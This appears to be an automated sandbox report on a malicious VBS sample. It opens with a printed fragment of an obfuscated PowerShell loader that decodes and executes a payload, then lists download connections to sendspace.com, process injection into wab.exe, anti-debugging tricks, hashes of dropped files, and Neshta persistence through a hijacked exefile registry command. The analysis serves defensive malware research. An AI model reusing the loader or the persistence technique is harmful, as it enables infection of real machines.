Civio.jernu ConfgBermmaFrockiGyritn Su,dv Undei Po tlTaintlRethaeMedioaGlbche TrusrSupernFourpeMecha)Frica ';$Healthiness=$Paganish73[1]+$Healthiness;$Bougainvilleaerne=$Paganish73[0];ratlaasene (Concolor 'I ter$Dy,bug,oogolMyxocoCy.nkbFavoraPurdalGunna:Al.ueSCurvenSjokkuTerm rDesulpMuta eBiltynPrefaoKrimit B nde WindrOverts Daad=Rygdk( TartTLaveeeTingss Spi.t Melt-P.ogrPDeempaAd ptt isfuhPeace untur$CrossBTopiaoStam.u Ad.ig MulmaAudioi RegenBanffvE,nyfiTids lFor elPredueSai.taRefereUrocyrForebnpraese edst) Loss ');while (!$Snurpenoters) {ratlaasene (Concolor 'astig$ Diskg N,nmlhymenoJuri b Hydra SwimlSubso: P,riEDyrtikBecalsoply,aAandsm DeteeRammenEnsilsUforeoUmaa rSrkerd Tu nndan kiSchepn.onorgHj,taeKulturVisuasPrinc= N,bi$AnalstU.smyrKasteuEkphoeKruse ') ;ratlaasene $Healthiness;ratlaasene (Concolor 'Pa laSMa edtVentiaVildsrStyrkt Circ- gyptSFynsklUncateAtel,e Res,pCrev. Dia.4Fj rb ');ratlaasene (Concolor ' ,amm$ HydrgMglinlBrilloPlanebJacobaReocclpen.e: NighSGra,snO aliuTrosbrMinidpPredeeFolkenk,udeoCo,not RelieamtsprH,lias Omb =Kante(CirkuTJhooleBrasqsNyvlgtBonde-allaeP kelta H,det ClimhLegis Trol$ ForbBHeathoBrutuuPavagg elvhaInteriSue fn Bon vDobb iPhyselH.perlConiaeLandfaUnaideMaa erUddatnMantbeServo)Afsva ') ;ratlaasene (Concolor ' onol$Snobbg GanslUnexpoModulbStretaVenchlMeldi:ObeliBOrdinrS,kunuEyrfig lokseNon.orFl veeCobblr Betrf NoreaHennarPortii,aglinDiskegEnsfoe Gr,tr Rhil=Defib$BacksgMundgl outioDam,bbTelefaBrainlSemis:Fy reHHjemloBuni.r Huggtvaishe VolknPre e+Infol+ Rout% Serv$GuiltJTri.euMiljpb Grouip,psilGangbaFjlentUdlbsoPennyrameriyUnr,p.SemihcEneb,odeva.u AdrenPlanetStucc ') ;$Bogbinderi=$Jubilatory[$Brugererfaringer];}$Swimsuit=280753;$Differentialforstrker=28374;ratlaasene (Concolor 'Gamb $Gu sbgbl,dml rugeo P oebGramma To mlBridg: Ov rSDaavitSkildoInforrAdvokmChalkfV.gnmu Fr.olCaterdM,xtueInlea lod=,nter StrikGVurdeeUnsertQ,int-BicreC frilore.elnKipfetSandaePe,rinSto mtRekr, Antig$ ChroB KantoTaphruFo fjg Supea,olysi GharnFllesvIcticiKanonl Bl.sl F rue,osenaPundieHaar.rBagsln P,eaeBrndg ');ratlaasene (Concolor ' ,gri$ NeurgComicl DispoHardfbEnkeraCamoulCelib: CheeSBoudeh ,ensaSolutnBrankt SyssuMundsnC trugLuxur Eueme=Riv,r P,rma[L aveSRev,lySter,sSchiztHj,ste Tambm Enk.. ,pgeCCalyco ppelnStdtevUnsloeBi,anrRac,dt Nive]Semmy:Verts:IndhsFMou,nrUnsooo .rmlmCtrlbBSve,sa IrrisS tteeT,etu6Natte4LakfeSguvactIndrerSaloniHypotnChampgEpony( orge$kopieS ngratProt.o Resur BrndmLirasf Yaplu agrelMi.cldCr,wbeCh ri) Ensp ');ratlaasene (Concolor ' ,ver$Subchg Ja,blBioreoAm.dob Tekia P ell ,ils: pksSWi,dokEringoLop,or,ewrapSkabeeDd,stdFabrieR fugs C ar .mphi= pro. sight[ DesiSPanteyOver,s KoektZanziesvovlmBowdl.Sk.llT slasePo sexUdkobtbarmh.,edbrEStddmn folkcAfsttofiskedBindiiEld,rnOgre gScaff]Ponde:Aftal:G,aehATrochSElek CBerolIW,ittIKldni.QuestG P.yteFarvetBje.gSS miht hilrNonsuiBo.arnHospigFrave(Vir.u$ UbetSR,conhR tteaFr msnScoottAppe.u ryptnrequeg He,a)B,sla ');ratlaasene (Concolor 'Kamph$ ind.gOrganlbib loHip,ib couta Kamflemmer:Hir,nL,angvoDe,pekVestua.ntrulSkonsiPleursAnklaeBrne,r PartiBorn n MontgSemim= .egi$KilopSBaglikLumutoTrosfr P etpPaahnePubisd ResteApplisMarty.Ani.as.xcuruGnar,b Texss se,vt,jaktrOutthiReisan.hegegCe la( arad$StagnSAdornwsun,iiFi,zcm M,sksNevusuForumiSpredt cre,dragl$proteDOceani llesftick.fViatoeTrrehrDampbenebulnBestrtTerciiK lopaAvnerlBrystfb drvo V lurColacsF aeltB aavr Len.kBronkeSpirorSuper)Herre ');ratlaasene $Lokalisering;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Acetylmethylcarbinol.Ron && echo $"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	www.sendspace.com	udp
US	172.67.170.105:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n2.sendspace.com	udp
CA	69.31.136.57:443	fs13n2.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	172.64.149.23:80	crt.sectigo.com	tcp
US	172.67.170.105:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs03n5.sendspace.com	udp
CA	69.31.136.17:443	fs03n5.sendspace.com	tcp

Files

memory/2508-4-0x000007FEF5B4E000-0x000007FEF5B4F000-memory.dmp

memory/2508-5-0x000000001B750000-0x000000001BA32000-memory.dmp

memory/2508-6-0x0000000002390000-0x0000000002398000-memory.dmp

memory/2508-7-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

memory/2508-8-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

memory/2508-9-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

memory/2508-10-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5	29f65ba8e88c063813cc50a4ea544e93
SHA1	05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256	1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512	e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar4448.tmp

MD5	435a9ac180383f9fa094131b173a2f7b
SHA1	76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256	67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512	1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\06932M4Z5IYWDGIBU86H.temp

MD5	c02cff5742f17f36f6e64ccc4bde230b
SHA1	7a5e753f94458fd99abb666a8c4d37560a1f9e2e
SHA256	f499ada3619454fafdb2f0814418ddbb1694a8e786f8014f41c60c8104beb1df
SHA512	9754022162933c3e9f314bf84715fc2587ce51595940a2f709d0cee70310b7bf17d3d9bd31149781019a7c81903dc19a516123e3fed418ece3e3b78fa36d76b4

C:\Users\Admin\AppData\Roaming\Acetylmethylcarbinol.Ron

MD5	614c0d722be9595dbbdfdbadfa5eed36
SHA1	6b5b83f8047285a0a95976f45457eb634d3149fb
SHA256	20c30e12f74fc4439417990b3f7531d135ba2333c6023f727f3aa3b3b3b33db8
SHA512	c4422a467a8c0b3c02460f5ec37090b11faa15b4a59684c584fbf76f746adfdded29dbb4474b4635b7b5bcc31aa05c48a087cc77096e0ed870dbee7c9df7ee70

memory/2508-57-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

memory/2716-58-0x00000000064C0000-0x000000000831C000-memory.dmp

memory/2508-59-0x000007FEF5B4E000-0x000007FEF5B4F000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	23263794ac38cf353becd13ff4514185
SHA1	b0d5c03151fc4afea56c4c1ebb6e1fc756355596
SHA256	69af85ec73be4090b9e72340fe08fbce5acdbcf27b90edb0f93645da3cdfa8b7
SHA512	eaaee8ac73896f4fa303e71d24d65277e3feb1b9ac198a0d5513e6431819c185562877137c10bad68b793f44c10bd8864cca1070881936d77524554a63def7d9

memory/1260-88-0x0000000001010000-0x0000000002072000-memory.dmp

memory/2508-90-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe

MD5	fa9e52ffa7ca60c38d490abd96cb3952
SHA1	b8ef0fafe68035128978f0383fab3863301aa62e
SHA256	d416c89d8a396915106fb2462430d90bbe1be05c444098bfc671bb3d12089d96
SHA512	26d959e451ee66a26ead7b7971b3993c3f6882abd912ba5a641215cb90f18bbb7ac94e7ae3008bbf2c1c497e6989b8a607b63967b6dd3aa1ef4a5a953342d1ce

\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE

MD5	9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1	ec66cda99f44b62470c6930e5afda061579cde35
SHA256	8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA512	2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

memory/1260-170-0x0000000001010000-0x0000000002072000-memory.dmp

memory/1260-172-0x0000000001010000-0x0000000002072000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-24 01:10

Reported

2024-05-24 01:13

Platform

win10v2004-20240508-en

Max time kernel

132s

Max time network

133s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3a262200a07c9f446ef95a399919a11960671591b90e56312c61b31c2a39dd3a.vbs"

Signatures

Neshta

persistence spyware neshta

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	C:\Windows\System32\WScript.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2540 set thread context of 1440	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\INSTAL~1\setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\pwahelper.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\msedgewebview2.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI9C33~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\MicrosoftEdgeUpdate.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\ADOBEA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\elevation_service.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\BHO\ie_to_edge_stub.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\msedge.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MIA062~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\cookie_exporter.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\msedge_proxy.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\msedge_pwa_launcher.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MICROS~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\identity_helper.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\124024~1.80\notification_click_helper.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\WOW_HE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jusched.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13187~1.37\MI391D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Enumerates physical storage devices

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2508 wrote to memory of 3000	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2508 wrote to memory of 3000	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3000 wrote to memory of 1560	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 1560	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 2540	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3000 wrote to memory of 2540	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3000 wrote to memory of 2540	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2540 wrote to memory of 2320	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 2320	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 2320	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2540 wrote to memory of 1440	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 1440	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 1440	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 1440	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2540 wrote to memory of 1440	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3a262200a07c9f446ef95a399919a11960671591b90e56312c61b31c2a39dd3a.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Acetylmethylcarbinol.Ron && echo $"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4200,i,6166776566165096562,4582328833313060853,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:8

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Acetylmethylcarbinol.Ron && echo $"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
US	8.8.8.8:53	228.249.119.40.in-addr.arpa	udp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	144.107.17.2.in-addr.arpa	udp
US	8.8.8.8:53	0.159.190.20.in-addr.arpa	udp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	www.sendspace.com	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n2.sendspace.com	udp
CA	69.31.136.57:443	fs13n2.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	104.18.38.233:80	crt.sectigo.com	tcp
US	8.8.8.8:53	80.28.21.104.in-addr.arpa	udp
US	8.8.8.8:53	57.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	233.38.18.104.in-addr.arpa	udp
US	8.8.8.8:53	58.55.71.13.in-addr.arpa	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	26.165.165.52.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	67.169.217.172.in-addr.arpa	udp
US	8.8.8.8:53	fs03n1.sendspace.com	udp
CA	69.31.136.17:443	fs03n1.sendspace.com	tcp
US	8.8.8.8:53	17.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	23.149.64.172.in-addr.arpa	udp
US	8.8.8.8:53	19.229.111.52.in-addr.arpa	udp
US	8.8.8.8:53	43.58.199.20.in-addr.arpa	udp

Files

memory/3000-0-0x00007FFFAD6B0000-0x00007FFFAD979000-memory.dmp

memory/3000-2-0x00007FFFAD6B0000-0x00007FFFAD979000-memory.dmp

memory/3000-1-0x00007FFFAD6B0000-0x00007FFFAD979000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fyr4fz3h.pfn.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3000-12-0x0000026C5DDD0000-0x0000026C5DDF2000-memory.dmp

memory/3000-13-0x00007FFFAD6B0000-0x00007FFFAD979000-memory.dmp

memory/2540-22-0x0000000002370000-0x00000000023A6000-memory.dmp

memory/2540-23-0x0000000004E70000-0x0000000005498000-memory.dmp

memory/2540-24-0x0000000004D90000-0x0000000004DB2000-memory.dmp

memory/2540-25-0x00000000054A0000-0x0000000005506000-memory.dmp

memory/2540-26-0x0000000005600000-0x0000000005666000-memory.dmp

memory/2540-36-0x0000000005770000-0x0000000005AC4000-memory.dmp

memory/2540-37-0x0000000005C30000-0x0000000005C4E000-memory.dmp

memory/2540-38-0x0000000005C70000-0x0000000005CBC000-memory.dmp

memory/2540-39-0x0000000007480000-0x0000000007AFA000-memory.dmp

memory/2540-40-0x0000000006D70000-0x0000000006D8A000-memory.dmp

memory/2540-41-0x0000000006EE0000-0x0000000006F76000-memory.dmp

memory/2540-42-0x0000000006E00000-0x0000000006E22000-memory.dmp

memory/2540-43-0x00000000080B0000-0x0000000008654000-memory.dmp

C:\Users\Admin\AppData\Roaming\Acetylmethylcarbinol.Ron

